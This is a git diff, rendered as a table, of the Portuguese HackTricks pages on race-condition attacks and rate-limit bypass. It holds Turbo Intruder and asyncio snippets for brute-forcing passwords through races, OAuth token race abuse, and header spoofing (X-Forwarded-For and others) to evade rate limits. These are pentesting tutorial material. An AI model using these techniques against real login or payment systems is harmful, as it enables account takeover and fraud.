||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -3,21 +3,21 @@
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Acesse hoje mesmo:
|
Acesse hoje mesmo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -28,26 +28,26 @@ Para obter uma compreensão profunda dessa técnica, confira o relatório origin
|
||||||
|
|
||||||
## Aperfeiçoando Ataques de Condição de Corrida
|
## Aperfeiçoando Ataques de Condição de Corrida
|
||||||
|
|
||||||
O principal desafio ao aproveitar as condições de corrida é garantir que várias solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
|
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
|
||||||
|
|
||||||
Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações:
|
Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações:
|
||||||
|
|
||||||
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
|
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
|
||||||
|
|
||||||
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente.
|
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida.
|
||||||
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado em conjunto, alcançando a chegada simultânea ao servidor.
|
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor.
|
||||||
|
|
||||||
A **Preparação para a Sincronização de Último Byte** envolve:
|
A **Preparação para a Sincronização de Último Byte** envolve:
|
||||||
1. Enviar cabeçalhos e dados do corpo menos o byte final sem encerrar o fluxo.
|
1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
|
||||||
2. Pausar por 100ms após o envio inicial.
|
2. Pausar por 100ms após o envio inicial.
|
||||||
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
||||||
4. Fazer um ping para aquecer a conexão.
|
4. Fazer um ping para aquecer a conexão.
|
||||||
|
|
||||||
O envio subsequente dos quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
||||||
|
|
||||||
### Adaptação à Arquitetura do Servidor
|
### Adaptando-se à Arquitetura do Servidor
|
||||||
|
|
||||||
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento preemptivo da conexão do lado do servidor, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
|
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
|
||||||
|
|
||||||
#### Lidando com Bloqueios Baseados em Sessão
|
#### Lidando com Bloqueios Baseados em Sessão
|
||||||
|
|
||||||
|
@ -60,11 +60,11 @@ Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos
|
||||||
|
|
||||||
## Exemplos de Ataque
|
## Exemplos de Ataque
|
||||||
|
|
||||||
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
|
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se você for **enviar valores diferentes**, poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||||||
```python
|
```python
|
||||||
passwords = wordlists.clipboard
|
passwords = wordlists.clipboard
|
||||||
for password in passwords:
|
for password in passwords:
|
||||||
|
@ -111,7 +111,7 @@ engine.openGate(currentAttempt)
|
||||||
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações.
|
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações.
|
||||||
* Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
|
* Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
### Bruto BF
|
### Bruto BF
|
||||||
|
|
||||||
|
@ -166,7 +166,7 @@ print(results)
|
||||||
|
|
||||||
asyncio.run(main())
|
asyncio.run(main())
|
||||||
```
|
```
|
||||||
## Metodologia de RC
|
## **Metodologia RC**
|
||||||
|
|
||||||
### Limite de estouro / TOCTOU
|
### Limite de estouro / TOCTOU
|
||||||
|
|
||||||
|
@ -174,15 +174,15 @@ Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** q
|
||||||
|
|
||||||
Existem muitas variações desse tipo de ataque, incluindo:
|
Existem muitas variações desse tipo de ataque, incluindo:
|
||||||
|
|
||||||
- Resgatar um cartão-presente várias vezes
|
* Resgatar um cartão-presente várias vezes
|
||||||
- Avaliar um produto várias vezes
|
* Avaliar um produto várias vezes
|
||||||
- Sacar ou transferir dinheiro acima do saldo da sua conta
|
* Sacar ou transferir dinheiro acima do saldo da sua conta
|
||||||
- Reutilizar uma solução CAPTCHA única
|
* Reutilizar uma solução CAPTCHA única
|
||||||
- Bypass de um limite de taxa anti-brute-force
|
* Bypass de um limite de taxa anti-brute-force
|
||||||
|
|
||||||
### **Subestados ocultos**
|
### **Subestados ocultos**
|
||||||
|
|
||||||
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Veja como abordar isso:
|
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
|
||||||
|
|
||||||
1. **Identificar Subestados Ocultos Potenciais**
|
1. **Identificar Subestados Ocultos Potenciais**
|
||||||
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
||||||
|
@ -246,17 +246,17 @@ session['enforce_mfa'] = True
|
||||||
### Persistência eterna do OAuth2
|
### Persistência eterna do OAuth2
|
||||||
|
|
||||||
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
|
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
|
||||||
Então, até aqui apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
|
Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
|
||||||
|
|
||||||
#### Condição de corrida em `authorization_code`
|
#### Condição de corrida em `authorization_code`
|
||||||
|
|
||||||
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Token de Autenticação/Token de Atualização_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||||||
|
|
||||||
#### Condição de corrida em `Refresh Token`
|
#### Condição de corrida em `Refresh Token`
|
||||||
|
|
||||||
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
|
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
|
||||||
|
|
||||||
## **CC em WebSockets**
|
## **RC em WebSockets**
|
||||||
|
|
||||||
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
||||||
|
|
||||||
|
@ -274,10 +274,10 @@ Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -286,6 +286,6 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Obtenha Acesso Hoje:
|
Acesse hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Bypass de Limite de Taxa
|
# Bypass do Limite de Taxa
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -17,7 +17,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -30,8 +30,8 @@ Devem ser feitas tentativas de ataques de força bruta em variações do endpoin
|
||||||
### Incorporando Caracteres em Branco no Código ou Parâmetros
|
### Incorporando Caracteres em Branco no Código ou Parâmetros
|
||||||
Inserir bytes em branco como `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` no código ou parâmetros pode ser uma estratégia útil. Por exemplo, ajustar um parâmetro para `code=1234%0a` permite estender as tentativas através de variações na entrada, como adicionar caracteres de nova linha a um endereço de e-mail para contornar limitações de tentativas.
|
Inserir bytes em branco como `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` no código ou parâmetros pode ser uma estratégia útil. Por exemplo, ajustar um parâmetro para `code=1234%0a` permite estender as tentativas através de variações na entrada, como adicionar caracteres de nova linha a um endereço de e-mail para contornar limitações de tentativas.
|
||||||
|
|
||||||
### Manipulando a Origem do IP por Meio de Cabeçalhos
|
### Manipulando a Origem do IP por Meio de Headers
|
||||||
Modificar cabeçalhos para alterar a origem do IP percebida pode ajudar a evitar a limitação de taxa baseada em IP. Cabeçalhos como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de várias instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de IPs diferentes.
|
Modificar headers para alterar a origem do IP percebida pode ajudar a evitar a limitação de taxa baseada em IP. Headers como `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, incluindo o uso de múltiplas instâncias de `X-Forwarded-For`, podem ser ajustados para simular solicitações de IPs diferentes.
|
||||||
```bash
|
```bash
|
||||||
X-Originating-IP: 127.0.0.1
|
X-Originating-IP: 127.0.0.1
|
||||||
X-Forwarded-For: 127.0.0.1
|
X-Forwarded-For: 127.0.0.1
|
||||||
|
@ -46,16 +46,40 @@ X-Forwarded-For:
|
||||||
X-Forwarded-For: 127.0.0.1
|
X-Forwarded-For: 127.0.0.1
|
||||||
```
|
```
|
||||||
### Alterando Outros Cabeçalhos
|
### Alterando Outros Cabeçalhos
|
||||||
Alterar outros cabeçalhos de requisição, como o user-agent e cookies, é recomendado, pois eles também podem ser usados para identificar e rastrear padrões de requisição. Alterar esses cabeçalhos pode evitar o reconhecimento e rastreamento das atividades do solicitante.
|
Alterar outros cabeçalhos de solicitação, como o user-agent e cookies, é recomendado, pois eles também podem ser usados para identificar e rastrear padrões de solicitação. Alterar esses cabeçalhos pode evitar o reconhecimento e rastreamento das atividades do solicitante.
|
||||||
|
|
||||||
### Aproveitando o Comportamento do Gateway de API
|
### Aproveitando o Comportamento do Gateway de API
|
||||||
Alguns gateways de API são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à requisição, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada requisição pareça única. Por exemplo `/resetpwd?someparam=1`.
|
Alguns gateways de API são configurados para aplicar limites de taxa com base na combinação de endpoint e parâmetros. Variando os valores dos parâmetros ou adicionando parâmetros não significativos à solicitação, é possível contornar a lógica de limitação de taxa do gateway, fazendo com que cada solicitação pareça única.
|
||||||
|
Por exemplo `/resetpwd?someparam=1`.
|
||||||
|
|
||||||
### Fazendo Login na Sua Conta Antes de Cada Tentativa
|
### Fazendo Login na Sua Conta Antes de Cada Tentativa
|
||||||
Fazer login em uma conta antes de cada tentativa, ou a cada conjunto de tentativas, pode redefinir o contador de limite de taxa. Isso é especialmente útil ao testar funcionalidades de login. Utilizar um ataque Pitchfork em ferramentas como o Burp Suite, para rotacionar credenciais a cada poucas tentativas e garantir que os redirecionamentos sejam marcados, pode reiniciar efetivamente os contadores de limite de taxa.
|
Fazer login em uma conta antes de cada tentativa, ou a cada conjunto de tentativas, pode redefinir o contador de limite de taxa. Isso é especialmente útil ao testar funcionalidades de login. Utilizar um ataque Pitchfork em ferramentas como o Burp Suite, para rotacionar credenciais a cada poucas tentativas e garantir que os redirecionamentos sejam marcados, pode reiniciar efetivamente os contadores de limite de taxa.
|
||||||
|
|
||||||
### Utilizando Redes de Proxy
|
### Utilizando Redes de Proxy
|
||||||
Implantar uma rede de proxies para distribuir as requisições em vários endereços IP pode contornar efetivamente os limites de taxa baseados em IP. Ao rotear o tráfego por vários proxies, cada requisição parece originar-se de uma fonte diferente, diluindo a eficácia do limite de taxa.
|
Implantar uma rede de proxies para distribuir as solicitações em vários endereços IP pode contornar efetivamente os limites de taxa baseados em IP. Ao rotear o tráfego por vários proxies, cada solicitação parece originar-se de uma fonte diferente, diluindo a eficácia do limite de taxa.
|
||||||
|
|
||||||
### Dividindo o Ataque Entre Diferentes Contas ou Sessões
|
### Dividindo o Ataque Entre Diferentes Contas ou Sessões
|
||||||
Se o sistema alvo aplicar limites de taxa com base em uma conta ou sessão específica, distribuir o ataque ou teste entre várias contas ou sessões pode ajudar a evitar detecção. Esse método requer o gerenciamento de múltiplas identidades ou tokens de sessão, mas pode distribuir efetivamente a carga para permanecer dentro dos limites permitidos.
|
Se o sistema de destino aplicar limites de taxa com base em uma conta ou sessão, distribuir o ataque ou teste entre várias contas ou sessões pode ajudar a evitar detecção. Esse método requer o gerenciamento de várias identidades ou tokens de sessão, mas pode distribuir efetivamente a carga para permanecer dentro dos limites permitidos.
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||||
|
Acesse hoje:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -4,13 +4,13 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
